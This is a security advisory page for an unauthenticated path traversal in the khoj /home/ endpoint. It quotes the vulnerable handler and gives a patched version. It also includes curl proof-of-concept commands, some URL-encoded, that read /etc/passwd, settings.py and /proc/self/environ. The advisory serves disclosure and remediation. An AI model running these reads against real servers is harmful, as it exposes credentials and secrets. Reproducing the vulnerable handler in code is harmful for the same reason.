GHSA-62mm-xwmv-crhgHigh▾ Twilightkhoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
The /home/{file_path:path} endpoint in web_client.py serves static files by directly concatenating the user-supplied file_path with the home_directory constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use ../ sequences to read arbitrary files from the server filesystem.
Vulnerable code — src/khoj/routers/web_client.py lines 46-49:
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
"""Serve static files from the home landing page directory"""
return FileResponse(constants.home_directory / file_path)
Where home_directory is defined in src/khoj/utils/constants.py line 6:
home_directory = web_directory / "home/"
What is missing:
.. traversal filteringresolved.is_relative_to(home_directory))@requires(["authenticated"]) is absent)FileResponse does NOT perform path traversal protectionPath resolution:
Request: GET /home/../../../../../../../etc/passwd
file_path = "../../../../../../../etc/passwd"
home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd
# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd
# Read application settings (may contain SECRET_KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py
# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ
URL-encoded variant (may bypass some reverse proxy normalization):
curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:
SECRET_KEY, database credentials, API keys/etc/passwd, /etc/shadow (if permissions allow), /proc/self/environNo authentication required — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.
Use FastAPI's built-in StaticFiles mount instead of a custom handler, or add explicit path validation:
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
resolved = (constants.home_directory / file_path).resolve()
if not resolved.is_relative_to(constants.home_directory.resolve()):
raise HTTPException(status_code=404)
return FileResponse(resolved)
khoj >= 2.0.0-beta.23, < 2.0.0-beta.25Upgrade to a patched release:
khoj 2.0.0-beta.25Connected by shared product, vendor, weakness, or advisory.
CVE-2024-52294Medium· 4.3khoj has an IDOR in subscription management allows unauthorized subscription modifications
CVE-2024-43396Medium· 5.4Khoj Vulnerable to Stored Cross-site Scripting In Automate (Preview feature)
CVE-2025-69207Medium· 5.4Khoj has an IDOR in Notion OAuth Flow that Enables Index Poisoning
CVE-2023-7260High· 7.5Path Traversal vulnerability discovered in OpenText™ CX-E Voice, affecting all version through 22.4
CVE-2023-7249Critical· 9.8Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in OpenText OpenText Directory Services allows Path Traversal.This issue affects OpenText Directory Services: from 16.4.2 before 24.1.
CVE-2020-3365Medium· 4.3A vulnerability in the directory permissions of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, remote attacker to perform a directory traversal attack on a limited set of restricted directories